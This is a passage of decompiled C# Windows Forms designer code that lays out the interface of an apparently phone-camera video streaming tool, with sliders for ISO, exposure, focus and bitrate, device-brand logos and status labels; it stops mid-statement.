//IL_4bfb: Unknown result type (might be due to invalid IL or missing references) - //IL_4c05: Expected O, but got Unknown - //IL_4ccf: Unknown result type (might be due to invalid IL or missing references) - //IL_4cd9: Expected O, but got Unknown - //IL_4da7: Unknown result type (might be due to invalid IL or missing references) - //IL_4db1: Expected O, but got Unknown - //IL_4e7f: Unknown result type (might be due to invalid IL or missing references) - //IL_4e89: Expected O, but got Unknown - //IL_5131: Unknown result type (might be due to invalid IL or missing references) - //IL_513b: Expected O, but got Unknown - //IL_51f2: Unknown result type (might be due to invalid IL or missing references) - //IL_52ca: Unknown result type (might be due to invalid IL or missing references) - //IL_55d5: Unknown result type (might be due to invalid IL or missing references) - //IL_55df: Expected O, but got Unknown - components = new Container(); - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Form1)); - contextMenuStrip1 = new ContextMenuStrip(components); - timer1 = new Timer(components); - listBox1 = new ListBox(); - tabControl1 = new TabControl(); - tabPage1 = new TabPage(); - splitContainer1 = new SplitContainer(); - FrontVideo = new UCPictureBox(); - tableLayoutPanel4 = new TableLayoutPanel(); - label21 = new Label(); - label22 = new Label(); - label23 = new Label(); - label24 = new Label(); - label25 = new Label(); - label26 = new Label(); - label27 = new Label(); - label28 = new Label(); - label29 = new Label(); - l1 = new Label(); - l2 = new Label(); - l3 = new Label(); - l4 = new Label(); - l5 = new Label(); - l6 = new Label(); - l7 = new Label(); - l8 = new Label(); - l9 = new Label(); - panel1 = new Panel(); - panel10 = new Panel(); - waitServer = new Label(); - waitPhone = new Label(); - serialNumber = new Label(); - panel8 = new Panel(); - label19 = new Label(); - panel9 = new Panel(); - label18 = new Label(); - label17 = new Label(); - label16 = new Label(); - panel2 = new Panel(); - asus = new PictureBox(); - huawei = new PictureBox(); - samsung = new PictureBox(); - listBox3 = new ListBox(); - tableLayoutPanel3 = new TableLayoutPanel(); - IPPS = new Label(); - IFPSV = new Label(); - label20 = new Label(); - IByteRateO = new Label(); - label14 = new Label(); - IByteRateI = new Label(); - label13 = new Label(); - IByteRateV = new Label(); - label12 = new Label(); - label11 = new Label(); - IBitRateV = new Label(); - label8 = new Label(); - label10 = new Label(); - lAperture = new Label(); - label6 = new Label(); - lSTime = new Label(); - label3 = new Label(); - lDuration = new Label(); - lISO = new Label(); - label2 = new Label(); - label4 = new Label(); - lFocus = new Label(); - label9 = new Label(); - IBitRateI = new Label(); - IBitRateO = new Label(); - tableLayoutPanel1 = new TableLayoutPanel(); - label15 = new Label(); - FPS = new HScrollBar(); - labelExp = new Label(); - labelFPS = new Label(); - ISO = new HScrollBar(); - labelISO = new Label(); - pContrast = new PictureBox(); - pBright = new PictureBox(); - BitRateBox = new ComboBox(); - Exposure = new HScrollBar(); - Zoom = new HScrollBar(); - Focuse = new HScrollBar(); - Contrast = new HScrollBar(); - Brightness = new HScrollBar(); - panel3 = new Panel(); - comboBox2 = new ComboBox(); - comboBox1 = new ComboBox(); - checkBox_saveVideo = new CheckBox(); - panel_chenal = new Panel(); - button9 = new Button(); - chenal = new MaskedTextBox(); - label1 = new Label(); - tableLayoutPanel2 = new TableLayoutPanel(); - button8 = new Button(); - button5 = new Button(); - button6 = new Button(); - button4 = new Button(); - button3 = new Button(); - button7 = new Button(); - panel4 = new Panel(); - panel5 = new Panel(); - panel6 = new Panel(); - label5 = new Label(); - tabPage2 = new TabPage(); - tabPage3 = new TabPage(); - linkLabel1 = new LinkLabel(); - button2 = new Button(); - button1 = new Button(); - pictureBox5 = new PictureBox(); - panel7 = new FlowLayoutPanel(); - SaveXML = new Timer(components); - ((Control)tabControl1).SuspendLayout(); - ((Control)tabPage1).SuspendLayout(); - ((ISupportInitialize)splitContainer1).BeginInit(); - ((Control)splitContainer1.Panel1).SuspendLayout(); - ((Control)splitContainer1.Panel2).SuspendLayout(); - ((Control)splitContainer1).SuspendLayout(); - ((Control)tableLayoutPanel4).SuspendLayout(); - ((Control)panel1).SuspendLayout(); - ((Control)panel10).SuspendLayout(); - ((Control)panel8).SuspendLayout(); - ((Control)panel9).SuspendLayout(); - ((Control)panel2).SuspendLayout(); - ((ISupportInitialize)asus).BeginInit(); - ((ISupportInitialize)huawei).BeginInit(); - ((ISupportInitialize)samsung).BeginInit(); - ((Control)tableLayoutPanel3).SuspendLayout(); - ((Control)tableLayoutPanel1).SuspendLayout(); - ((ISupportInitialize)pContrast).BeginInit(); - ((ISupportInitialize)pBright).BeginInit(); - ((Control)panel3).SuspendLayout(); - ((Control)panel_chenal).SuspendLayout(); - ((Control)tableLayoutPanel2).SuspendLayout(); - ((Control)panel4).SuspendLayout(); - ((Control)panel5).SuspendLayout(); - ((Control)tabPage2).SuspendLayout(); - ((Control)tabPage3).SuspendLayout(); - ((ISupportInitialize)pictureBox5).BeginInit(); - ((Control)this).SuspendLayout(); - ((ToolStrip)contextMenuStrip1).ImageScalingSize = new Size(24, 24); - ((Control)contextMenuStrip1).Name = "contextMenuStrip1"; - ((Control)contextMenuStrip1).Size = new Size(61, 4); - timer1.Enabled = true; - timer1.Interval = 20; - timer1.Tick += timer1_Tick; - listBox1.BorderStyle = (BorderStyle)1; - ((Control)listBox1).Dock = (DockStyle)5; - ((Control)listBox1).Font = new Font("Microsoft Sans Serif", 9.75f, (FontStyle)0, (GraphicsUnit)3, (byte)0); - ((ListControl)listBox1).FormattingEnabled = true; - listBox1.ItemHeight = 16; - ((Control)listBox1).Location = new Point(3, 3); - ((Control)listBox1).Name = "listBox1"; - ((Control)listBox1).Size = new Size(1334, 703); - ((Control)listBox1).TabIndex = 0; - ((Control)listBox1).DoubleClick += listBox1_DoubleClick; - tabControl1.Alignment = (TabAlignment)3; - ((Control)tabControl1).Controls.Add((Control)(object)tabPage1); - ((Control)tabControl1).Controls.Add((Control)(object)tabPage2); - ((Control)tabControl1).Controls.Add((Control)(object)tabPage3); - ((Control)tabControl1).Dock = (DockStyle)5; - ((Control)tabControl1).Location = new Point(0, 0); - tabControl1.Multiline = true; - ((Control)tabControl1).Name = "tabControl1"; - tabControl1.SelectedIndex = 0; - ((Control)tabControl1).Size = new Size(1367, 717); - ((Control)tabControl1).TabIndex = 9; - tabControl1.SelectedIndexChanged += tabControl1_SelectedIndexChanged; - ((Control)tabPage1).Controls.Add((Control)(object)splitContainer1); - ((Control)tabPage1).Controls.Add((Control)(object)panel4); - tabPage1.Location = new Point(4, 4); - ((Control)tabPage1).Name = "tabPage1"; - ((Control)tabPage1).Padding = new Padding(3); - ((Control)tabPage1).Size = new Size(1340, 709); - tabPage1.TabIndex = 0; - ((Control)tabPage1).Text = "視頻流"; - tabPage1.UseVisualStyleBackColor = true; - ((Control)splitContainer1).BackColor = SystemColors.Control; - splitContainer1.Dock = (DockStyle)5; - ((Control)splitContainer1).Location = new Point(3, 23); - ((Control)splitContainer1).Name = "splitContainer1"; - ((Control)splitContainer1.Panel1).Controls.Add((Control)(object)FrontVideo); - ((Control)splitContainer1.Panel2).BackColor = Color.Transparent; - ((Control)splitContainer1.Panel2).Controls.Add((Control)(object)tableLayoutPanel4); - ((Control)splitContainer1.Panel2).Controls.Add((Control)(object)panel1); - ((Control)splitContainer1.Panel2).Controls.Add((Control)(object)listBox3); - ((Control)splitContainer1.Panel2).Controls.Add((Control)(object)tableLayoutPanel3); - ((Control)splitContainer1.Panel2).Controls.Add((Control)(object)tableLayoutPanel1); - ((Control)splitContainer1.Panel2).Controls.Add((Control)(object)tableLayoutPanel2); - ((Control)splitContainer1.Panel2).DoubleClick += SplitContainer1_Panel2_DoubleClick; - ((Control)splitContainer1).Size = new Size(1334, 683); - splitContainer1.SplitterDistance = 1008; - ((Control)splitContainer1).TabIndex = 13; - ((Control)FrontVideo).BackColor = SystemColors.Control; - ((Control)FrontVideo).BackgroundImageLayout = (ImageLayout)0; - ((Control)FrontVideo).Dock = (DockStyle)5; - FrontVideo.Flip = 0; - FrontVideo.Image = null; - ((Control)FrontVideo).Location = new Point(0, 0); - ((Control)FrontVideo).Name = "FrontVideo"; - FrontVideo.Rotate = 0; - ((Control)FrontVideo).Size = new Size(1008, 683); - FrontVideo.SizeImage = new Size(1280, 720); - ((Control)FrontVideo).TabIndex = 4; - ((Control)FrontVideo).TabStop = false; - ((Control)FrontVideo).Enter += _Enter; - ((Control)FrontVideo).KeyDown += new KeyEventHandler(FrontVideo_KeyDown); - ((Control)FrontVideo).MouseClick += new MouseEventHandler(pictureBox2_MouseClick_1); - ((Control)FrontVideo).MouseDoubleClick += new MouseEventHandler(pictureBox2_MouseClick); - ((Control)FrontVideo).MouseDown += new MouseEventHandler(pictureBox2_MouseDown); - ((Control)FrontVideo).MouseLeave += pictureBox2_MouseLeave; - ((Control)FrontVideo).MouseMove += new MouseEventHandler(pictureBox2_MouseMove); - tableLayoutPanel4.ColumnCount = 9; - tableLayoutPanel4.ColumnStyles.Add(new ColumnStyle((SizeType)2, 11.11111f)); - tableLayoutPanel4.ColumnStyles.Add(new ColumnStyle((SizeType)2, 11.11111f)); - tableLayoutPanel4.ColumnStyles.Add(new ColumnStyle((SizeType)2, 11.11111f)); - tableLayoutPanel4.ColumnStyles.Add(new ColumnStyle((SizeType)2, 11.11111f)); - tableLayoutPanel4.ColumnStyles.Add(new ColumnStyle((SizeType)2, 11.11111f)); - tableLayoutPanel4.ColumnStyles.Add(new ColumnStyle((SizeType)2, 11.11111f)); - tableLayoutPanel4.ColumnStyles.Add(new ColumnStyle((SizeType)2, 11.11111f)); - tableLayoutPanel4.ColumnStyles.Add(new ColumnStyle((SizeType)2, 11.11111f)); - tableLayoutPanel4.ColumnStyles.Add(new ColumnStyle((SizeType)2, 11.11111f)); - tableLayoutPanel4.Controls.Add((Control)(object)label21, 0, 0); - tableLayoutPanel4.Controls.Add((Control)(object)label22, 1, 0); - tableLayoutPanel4.Controls.Add((Control)(object)label23, 2, 0); - tableLayoutPanel4.Controls.Add((Control)(object)label24, 3, 0); - tableLayoutPanel4.Controls.Add((Control)(object)label25, 4, 0); - tableLayoutPanel4.Controls.Add((Control)(object)label26, 5, 0); - tableLayoutPanel4.Controls.Add((Control)(object)label27, 6, 0); - tableLayoutPanel4.Controls.Add((Control)(object)label28, 7, 0); - tableLayoutPanel4.Controls.Add((Control)(object)label29, 8, 0); - tableLayoutPanel4.Controls.Add((Control)(object)l1, 0, 1); - tableLayoutPanel4.Controls.Add((Control)(object)l2, 1, 1); - tableLayoutPanel4.Controls.Add((Control)(object)l3, 2, 1); - tableLayoutPanel4.Controls.Add((Control)(object)l4, 3, 1); - tableLayoutPanel4.Controls.Add((Control)(object)l5, 4, 1); - tableLayoutPanel4.Controls.Add((Control)(object)l6, 5, 1); - tableLayoutPanel4.Controls.Add((Control)(object)l7, 6, 1); - tableLayoutPanel4.Controls.Add((Control)(object)l8, 7, 1); - tableLayoutPanel4.Controls.Add((Control)(object)l9, 8, 1); - ((Control)tableLayoutPanel4).Dock = (DockStyle)2; - ((Control)tableLayoutPanel4).Location = new Point(0, 575); - ((Control)tableLayoutPanel4).Name = "tableLayoutPanel4"; - tableLayoutPanel4.RowCount = 2; - tableLayoutPanel4.RowStyles.Add(new RowStyle((SizeType)2, 50f)); - tableLayoutPanel4.RowStyles.Add(new RowStyle((SizeType)2, 50f)); - ((Control)tableLayoutPanel4).Size = new Size(322, 35); - ((Control)tableLayoutPanel4).TabIndex = 14; - ((Control)tableLayoutPanel4).Visible = false; - ((Control)label21).AutoSize = true; - ((Control)label21).Dock = (DockStyle)5; - ((Control)label21).Location = new Point(3, 0); - ((Control)label21).Name = "label21"; - ((Control)label21).Size = new Size(29, 17); - ((Control)label21).TabIndex = 0; - ((Control)label21).Text = "1"; - label21.TextAlign = (ContentAlignment)32; - ((Control)label22).AutoSize = true; - ((Control)label22).Dock = (DockStyle)5; - ((Control)label22).Location = new Point(38, 0); - ((Control)label22).Name = "label22"; - ((Control)label22).Size = new Size(29, 17); - ((Control)label22).TabIndex = 1; - ((Control)label22).Text = "2"; - label22.TextAlign = (ContentAlignment)32; - ((Control)label23).AutoSize = true; - ((Control)label23).Dock = (DockStyle)5; - ((Control)label23).Location = new Point(73, 0); - ((Control)label23).Name = "label23"; - ((Control)label23).Size = new Size(29, 17); - ((Control)label23).TabIndex = 2; - ((Control)label23).Text = "3"; - label23.TextAlign = (ContentAlignment)32; - ((Control)label24).AutoSize = true; - ((Control)label24).Dock = (DockStyle)5; - ((Control)label24).Location = new Point(108, 0); - ((Control)label24).Name = "label24"; - ((Control)label24).Size = new Size(29, 17); - ((Control)label24).TabIndex = 3; - ((Control)label24).Text = "4"; - label24.TextAlign = (ContentAlignment)32; - ((Control)label25).AutoSize = true; - ((Control)label25).Dock = (DockStyle)5; - ((Control)label25).Location = new Point(143, 0); - ((Control)label25).Name = "label25"; - ((Control)label25).Size = new Size(29, 17); - ((Control)label25).TabIndex = 4; - ((Control)label25).Text = "5"; - label25.TextAlign = (ContentAlignment)32; - ((Control)label26).AutoSize = true; - ((Control)label26).Dock = (DockStyle)5; - ((Control)label26).Location = new Point(178, 0); - ((Control)label26).Name = "label26"; - ((Control)label26).Size = new Size(29, 17); - ((Control)label26).TabIndex = 5; - ((Control)label26).Text = "6"; - label26.TextAlign = (ContentAlignment)32; - ((Control)label27).AutoSize = true; - ((Control)label27).Dock = (DockStyle)5; - ((Control)label27).Location = new Point(213, 0); - ((Control)label27).Name = "label27"; - ((Control)label27).Size = new Size(29, 17); - ((Control)label27).TabIndex = 6; - ((Control)label27).Text = "7"; - label27.TextAlign = (ContentAlignment)32; - ((Control)label28).AutoSize = true; - ((Control)label28).Dock = (DockStyle)5; - ((Control)label28).Location = new Point(248, 0); - ((Control)label28).Name = "label28"; - ((Control)label28).Size = new Size(29, 17); - ((Control)label28).TabIndex = 7; - ((Control)label28).Text = "8"; - label28.TextAlign = (ContentAlignment)32; - ((Control)label29).AutoSize = true; - ((Control)label29).Dock = (DockStyle)5; - ((Control)label29).Location = new Point(283, 0); - ((Control)label29).Name = "label29"; - ((Control)label29).Size = new Size(36, 17); - ((Control)label29).TabIndex = 8; - ((Control)label29).Text = "9"; - label29.TextAlign = (ContentAlignment)32; - ((Control)l1).Location = new Point(3, 17); - ((Control)l1).Name = "l1"; - ((Control)l1).Size = new Size(29, 13); - ((Control)l1).TabIndex = 9; - ((Control)l1).Text = "0"; - l1.TextAlign = (ContentAlignment)32; - ((Control)l2).Location = new Point(38, 17); - ((Control)l2).Name = "l2"; - ((Control)l2).Size = new Size(29, 13); - ((Control)l2).TabIndex = 10; - ((Control)l2).Text = "0"; - l2.TextAlign = (ContentAlignment)32; - ((Control)l3).Location = new Point(73, 17); - ((Control)l3).Name = "l3"; - ((Control)l3).Size = new Size(29, 13); - ((Control)l3).TabIndex = 11; - ((Control)l3).Text = "0"; - l3.TextAlign = (ContentAlignment)32; - ((Control)l4).Location = new Point(108, 17); - ((Control)l4).Name = "l4"; - ((Control)l4).Size = new Size(29, 13); - ((Control)l4).TabIndex = 12; - ((Control)l4).Text = "0"; - l4.TextAlign = (ContentAlignment)32; - ((Control)l5).Location = new Point(143, 17); - ((Control)l5).Name = "l5"; - ((Control)l5).Size = new Size(29, 13); - ((Control)l5).TabIndex = 13; - ((Control)l5).Text = "0"; - l5.TextAlign = (ContentAlignment)32; - ((Control)l6).Location = new Point(178, 17); - ((Control)l6).Name = "l6"; - ((Control)l6).Size = new Size(29, 13); - ((Control)l6).TabIndex = 14; - ((Control)l6).Text = "0"; - l6.TextAlign = (ContentAlignment)32; - ((Control)l7).Location = new Point(213, 17); - ((Control)l7).Name = "l7"; - ((Control)l7).Size = new Size(29, 13); - ((Control)l7).TabIndex = 15; - ((Control)l7).Text = "0"; - l7.TextAlign = (ContentAlignment)32; - ((Control)l8).Location = new Point(248, 17); - ((Control)l8).Name = "l8"; - ((Control)l8).Size = new Size(29, 13); - ((Control)l8).TabIndex = 16; - ((Control)l8).Text = "0"; - l8.TextAlign = (ContentAlignment)32; - ((Control)l9).Location = new Point(283, 17); - ((Control)l9).Name = "l9"; - ((Control)l9).Size = new Size(36, 13); - ((Control)l9).TabIndex = 17; - ((Control)l9).Text = "0"; - l9.TextAlign = (ContentAlignment)32; - ((Control)panel1).Controls.Add((Control)(object)panel10); - ((Control)panel1).Controls.Add((Control)(object)panel8); - ((Control)panel1).Controls.Add((Control)(object)panel2); - ((Control)panel1).Dock = (DockStyle)2; - ((Control)panel1).Location = new Point(0, 610); - ((Control)panel1).Name = "panel1"; - ((Control)panel1).Size = new Size(322, 51); - ((Control)panel1).TabIndex = 13; - ((Control)panel10).Controls.Add((Control)(object)waitServer); - ((Control)panel10).Controls.Add((Control)(object)waitPhone); - ((Control)panel10).Controls.Add((Control)(object)serialNumber); - ((Control)panel10).Dock = (DockStyle)3; - ((Control)panel10).Location = new Point(90, 0); - ((Control)panel10).Name = "panel10"; - ((Control)panel10).Size = new Size(86, 51); - ((Control)panel10).TabIndex = 15; - waitServer.BorderStyle = (BorderStyle)2; - ((Control)waitServer).Dock = (DockStyle)2; - ((Control)waitServer).Font = new Font("Microsoft Sans Serif", 9.75f, (FontStyle)0, (GraphicsUnit)3, (byte)204); - ((Control)waitServer).Location = new Point(0, 31); - ((Control)waitServer).Name = "waitServer"; - ((Control)waitServer).Size = new Size(86, 20); - ((Control)waitServer).TabIndex = 1; - waitServer.TextAlign = (ContentAlignment)1024; - waitPhone.BorderStyle = (BorderStyle)2; - ((Control)waitPhone).Dock = (DockStyle)1; - ((Control)waitPhone).Font = new Font("Microsoft Sans Serif", 9.75f, (FontStyle)0, (GraphicsUnit)3, (byte)204); - ((Control)waitPhone).Location = new Point(0, 0); - ((Control)waitPhone).Name = "waitPhone"; - ((Control)waitPhone).Size = new Size(86, 19); - ((Control)waitPhone).TabIndex = 0; - waitPhone.TextAlign = (ContentAlignment)4; - ((Control)serialNumber).Font = new Font("Microsoft Sans Serif", 6f, (FontStyle)0, (GraphicsUnit)3, (byte)204); - ((Control)serialNumber).Location = new Point(4, 21); - ((Control)serialNumber).Name = "serialNumber"; - ((Control)serialNumber).Size = new Size(116, 9); - ((Control)serialNumber).TabIndex = 2; - serialNumber.TextAlign = (ContentAlignment)32; - ((Control)panel8).Controls.Add((Control)(object)label19); - ((Control)panel8).Controls.Add((Control)(object)panel9); - ((Control)panel8).Controls.Add((Control)(object)label16); - ((Control)panel8).Dock = (DockStyle)3; - ((Control)panel8).Location = new Point(0, 0); - ((Control)panel8).Name = "panel8"; - ((Control)panel8).Size = new Size(90, 51); - ((Control)panel8).TabIndex = 14; - ((Control)label19).Font = new Font("Microsoft Sans Serif", 6f, (FontStyle)6, (GraphicsUnit)3, (byte)204); - ((Control)label19).Location = new Point(44, 1); - ((Control)label19).Name = "label19"; - ((Control)label19).Size = new Size(45, 13); - ((Control)label19).TabIndex = 2; - label19.TextAlign = (ContentAlignment)4; - ((Control)panel9).Controls.Add((Control)(object)label18); - ((Control)panel9).Controls.Add((Control)(object)label17); - ((Control)panel9).Dock = (DockStyle)2; - ((Control)panel9).Location = new Point(0, 38); - ((Control)panel9).Name = "panel9"; - ((Control)panel9).Size = new Size(90, 13); - ((Control)panel9).TabIndex = 1; - label18.BorderStyle = (BorderStyle)2; - ((Control)label18).Dock = (DockStyle)5; - ((Control)label18).Font = new Font("Microsoft Sans Serif", 6f, (FontStyle)2, (GraphicsUnit)3, (byte)204); - ((Control)label18).Location = new Point(45, 0); - ((Control)label18).Name = "label18"; - ((Control)label18).Size = new Size(45, 13); - ((Control)label18).TabIndex = 1; - label18.TextAlign = (ContentAlignment)4; - label17.BorderStyle = (BorderStyle)2; - ((Control)label17).Dock = (DockStyle)3; - ((Control)label17).Font = new Font("Microsoft Sans Serif", 6f, (FontStyle)2, (GraphicsUnit)3, (byte)204); - ((Control)label17).Location = new Point(0, 0); - ((Control)label17).Name = "label17"; - ((Control)label17).Size = new Size(45, 13); - ((Control)label17).TabIndex = 0; - label16.BorderStyle = (BorderStyle)2; - ((Control)label16).Dock = (DockStyle)1; - ((Control)label16).Font = new Font("Microsoft Sans Serif", 12f, (FontStyle)1, (GraphicsUnit)3, (byte)204); - ((Control)label16).Location = new Point(0, 0); - ((Control)label16).Name = "label16"; - ((Control)label16).Size = new Size(90, 38); - ((Control)label16).TabIndex = 0; - label16.TextAlign = (ContentAlignment)512; - ((Control)panel2).Controls.Add((Control)(object)asus); - ((Control)panel2).Controls.Add((Control)(object)huawei); - ((Control)panel2).Controls.Add((Control)(object)samsung); - ((Control)panel2).Dock = (DockStyle)4; - ((Control)panel2).Location = new Point(215, 0); - ((Control)panel2).Name = "panel2"; - ((Control)panel2).Size = new Size(107, 51); - ((Control)panel2).TabIndex = 13; - ((Control)asus).Anchor = (AnchorStyles)10; - ((Control)asus).BackgroundImage = (Image)componentResourceManager.GetObject("asus.BackgroundImage"); - ((Control)asus).BackgroundImageLayout = (ImageLayout)4; - ((Control)asus).Location = new Point(3, 5); - ((Control)asus).Name = "asus"; - ((Control)asus).Size = new Size(100, 40); - asus.SizeMode = (PictureBoxSizeMode)2; - asus.TabIndex = 13; - asus.TabStop = false; - ((Control)asus).Visible = false; - ((Control)huawei).Anchor = (AnchorStyles)10; - ((Control)huawei).BackgroundImage = (Image)componentResourceManager.GetObject("huawei.BackgroundImage"); - ((Control)huawei).BackgroundImageLayout = (ImageLayout)4; - ((Control)huawei).Location = new Point(22, 0); - ((Control)huawei).Name = "huawei"; - ((Control)huawei).Size = new Size(60, 50); - huawei.SizeMode = (PictureBoxSizeMode)2; - huawei.TabIndex = 11; - huawei.TabStop = false; - ((Control)huawei).Visible = false; - ((Control)huawei).Click += pictureBox1_Click; - ((Control)samsung).Anchor = (AnchorStyles)10; - ((Control)samsung).BackgroundImage = (Image)componentResourceManager.GetObject("samsung.BackgroundImage"); - ((Control)samsung).BackgroundImageLayout = (ImageLayout)4; - ((Control)samsung).Location = new Point(3, 11); - ((Control)samsung).Name = "samsung"; - ((Control)samsung).Size = new Size(100, 40); - samsung.SizeMode = (PictureBoxSizeMode)2; - samsung.TabIndex = 12; - samsung.TabStop = false; - ((Control)samsung).Visible = false; - ((Control)listBox3).BackColor = SystemColors.Control; - ((Control)listBox3).Dock = (DockStyle)2; - ((Control)listBox3).Enabled = false; - ((Control)listBox3).Font = new Font("Microsoft Sans Serif", 6f, (FontStyle)0, (GraphicsUnit)3, (byte)204); - ((ListControl)listBox3).FormattingEnabled = true; - listBox3.ItemHeight = 9; - ((Control)listBox3).Location = new Point(0, 661); - ((Control)listBox3).Name = "listBox3"; - ((Control)listBox3).Size = new Size(322, 22); - ((Control)listBox3).TabIndex = 10; - ((Control)listBox3).Visible = false; - ((Control)listBox3).DoubleClick += ListBox3_DoubleClick; - ((Control)tableLayoutPanel3).BackColor = SystemColors.Control; - tableLayoutPanel3.ColumnCount = 2; - tableLayoutPanel3.ColumnStyles.Add(new ColumnStyle((SizeType)2, 34.375f)); - tableLayoutPanel3.ColumnStyles.Add(new ColumnStyle((SizeType)2, 65.625f)); - tableLayoutPanel3.Controls.Add((Control)(object)IPPS, 1, 12); - tableLayoutPanel3.Controls.Add((Control)(object)IFPSV, 1, 6); - tableLayoutPanel3.Controls.Add((Control)(object)label20, 0, 6); - tableLayoutPanel3.Controls.Add((Control)(object)IByteRateO, 1, 14); - tableLayoutPanel3.Controls.Add((Control)(object)label14, 0, 14); - tableLayoutPanel3.Controls.Add((Control)(object)IByteRateI, 1, 11); - tableLayoutPanel3.Controls.Add((Control)(object)label13, 0, 11); - tableLayoutPanel3.Controls.Add((Control)(object)IByteRateV, 1, 8); - tableLayoutPanel3.Controls.Add((Control)(object)label12, 0, 8); - tableLayoutPanel3.Controls.Add((Control)(object)label11, 0, 13); - tableLayoutPanel3.Controls.Add((Control)(object)IBitRateV, 1, 7); - tableLayoutPanel3.Controls.Add((Control)(object)label8, 0, 7); - tableLayoutPanel3.Controls.Add((Control)(object)label10, 0, 4); - tableLayoutPanel3.Controls.Add((Control)(object)lAperture, 1, 4); - tableLayoutPanel3.Controls.Add((Control)(object)label6, 0, 3); - tableLayoutPanel3.Controls.Add((Control)(object)lSTime, 1, 3); - tableLayoutPanel3.Controls.Add((Control)(object)label3, 0, 2); - tableLayoutPanel3.Controls.Add((Control)(object)lDuration, 1, 2); - tableLayoutPanel3.Controls.Add((Control)(object)lISO, 1, 1); - tableLayoutPanel3.Controls.Add((Control)(object)label2, 0, 1); - tableLayoutPanel3.Controls.Add((Control)(object)label4, 0, 0); - tableLayoutPanel3.Controls.Add((Control)(object)lFocus, 1, 0); - tableLayoutPanel3.Controls.Add((Control)(object)label9, 0, 10); - tableLayoutPanel3.Controls.Add((Control)(object)IBitRateI, 1, 10); - tableLayoutPanel3.Controls.Add((Control)(object)IBitRateO, 1, 13); - ((Control)tableLayoutPanel3).Dock = (DockStyle)1; - ((Control)tableLayoutPanel3).Location = new Point(0, 333); - ((Control)tableLayoutPanel3).Name = "tableLayoutPanel3"; - tableLayoutPanel3.RowCount = 15; - tableLayoutPanel3.RowStyles.Add(new RowStyle((SizeType)2, 6.666667f)); - tableLayoutPanel3.RowStyles.Add(new RowStyle((SizeType)2, 6.666667f)); - tableLayoutPanel3.RowStyles.Add(new RowStyle((SizeType)2, 6.666667f)); - tableLayoutPanel3.RowStyles.Add(new RowStyle((SizeType)2, 6.666667f)); - tableLayoutPanel3.RowStyles.Add(new RowStyle((SizeType)2, 6.666667f)); - tableLayoutPanel3.RowStyles.Add(new RowStyle((SizeType)2, 6.666667f)); - tableLayoutPanel3.RowStyles.Add(new RowStyle((SizeType)2, 6.666667f)); - tableLayoutPanel3.RowStyles.Add(new RowStyle((SizeType)2, 6.666667f)); - tableLayoutPanel3.RowStyles.Add(new RowStyle((SizeType)2, 6.666667f)); - tableLayoutPanel3.RowStyles.Add(new RowStyle((SizeType)2, 6.666667f)); - tableLayoutPanel3.RowStyles.Add(new RowStyle((SizeType)2, 6.666667f)); - tableLayoutPanel3.RowStyles.Add(new RowStyle((SizeType)2, 6.666667f)); - tableLayoutPanel3.RowStyles.Add(new RowStyle((SizeType)2, 6.666667f)); - tableLayoutPanel3.RowStyles.Add(new RowStyle((SizeType)2, 6.666667f)); - tableLayoutPanel3.RowStyles.Add(new RowStyle((SizeType)2, 6.666667f)); - tableLayoutPanel3.RowStyles.Add(new RowStyle((SizeType)1, 20f)); - ((Control)tableLayoutPanel3).Size = new Size(322, 239); - ((Control)tableLayoutPanel3).TabIndex = 9; - ((Control)IPPS).Anchor = (AnchorStyles)15; - ((Control)IPPS).AutoSize = true; - ((Control)IPPS).Font = new Font("Microsoft Sans Serif", 8.25f, (FontStyle)0, (GraphicsUnit)3, (byte)204); - ((Control)IPPS).Location = new Point(113, 180); - ((Control)IPPS).Name = "IPPS"; - ((Control)IPPS).Size = new Size(206, 15); - ((Control)IPPS).TabIndex = 72; - IPPS.TextAlign = (ContentAlignment)64; - ((Control)IFPSV).Anchor = (AnchorStyles)15; - ((Control)IFPSV).AutoSize = true; - ((Control)IFPSV).Font = new Font("Microsoft Sans Serif", 8.25f, (FontStyle)0, (GraphicsUnit)3, (byte)204); - ((Control)IFPSV).Location = new Point(113, 90); - ((Control)IFPSV).Name = "IFPSV"; - ((Control)IFPSV).Size = new Size(206, 15); - ((Control)IFPSV).TabIndex = 71; - IFPSV.TextAlign = (ContentAlignment)64; - ((Control)label20).Anchor = (AnchorStyles)15; - ((Control)label20).AutoSize = true; - ((Control)label20).Font = new Font("Microsoft Sans Serif", 8.25f, (FontStyle)0, (GraphicsUnit)3, (byte)204); - ((Control)label20).Location = new Point(3, 90); - ((Control)label20).Name = "label20"; - ((Control)label20).Size = new Size(104, 15); - ((Control)label20).TabIndex = 70; - ((Control)label20).Text = "FPS video"; - label20.TextAlign = (ContentAlignment)64; - ((Control)IByteRateO).Anchor = (AnchorStyles)15; - ((Control)IByteRateO).AutoSize = true; - ((Control)IByteRateO).Font = new Font("Microsoft Sans Serif", 8.25f, (FontStyle)0, (GraphicsUnit)3, (byte)204); - ((Control)IByteRateO).Location = new Point(113, 210); - ((Control)IByteRateO).Name = "IByteRateO"; - ((Control)IByteRateO).Size = new Size(206, 29); - ((Control)IByteRateO).TabIndex = 69; - IByteRateO.TextAlign = (ContentAlignment)64; - ((Control)label14).Anchor = (AnchorStyles)15; - ((Control)label14).AutoSize = true; - ((Control)label14).Font = new Font("Microsoft Sans Serif", 8.25f, (FontStyle)0, (GraphicsUnit)3, (byte)204); - ((Control)label14).Location = new Point(3, 210); - ((Control)label14).Name = "label14"; - ((Control)label14).Size = new Size(104, 29); - ((Control)label14).TabIndex = 68; - ((Control)label14).Text = "Byte rate output"; - label14.TextAlign = (ContentAlignment)64; - ((Control)IByteRateI).Anchor = (AnchorStyles)15; - ((Control)IByteRateI).AutoSize = true; - ((Control)IByteRateI).Font = new Font("Microsoft Sans Serif", 8.25f, (FontStyle)0, (GraphicsUnit)3, (byte)204); - ((Control)IByteRateI).Location = new Point(113, 165); - ((Control)IByteRateI).Name = "IByteRateI"; - ((Control)IByteRateI).Size = new Size(206, 15); - ((Control)IByteRateI).TabIndex = 67; - IByteRateI.TextAlign = (ContentAlignment)64; - ((Control)label13).Anchor = (AnchorStyles)15; - ((Control)label13).AutoSize = true; - ((Control)label13).Font = new Font("Microsoft Sans Serif", 8.25f, (FontStyle)0, (GraphicsUnit)3, (byte)204); - ((Control)label13).Location = new Point(3, 165); - ((Control)label13).Name = "label13"; - ((Control)label13).Size = new Size(104, 15); - ((Control)label13).TabIndex = 66; - ((Control)label13).Text = "Byte rate input"; - label13.TextAlign = (ContentAlignment)64; - ((Control)IByteRateV).Anchor = (AnchorStyles)15; - ((Control)IByteRateV).AutoSize = true; - ((Control)IByteRateV).Font = new Font("Microsoft Sans Serif", 8.25f, (FontStyle)0, (GraphicsUnit)3, 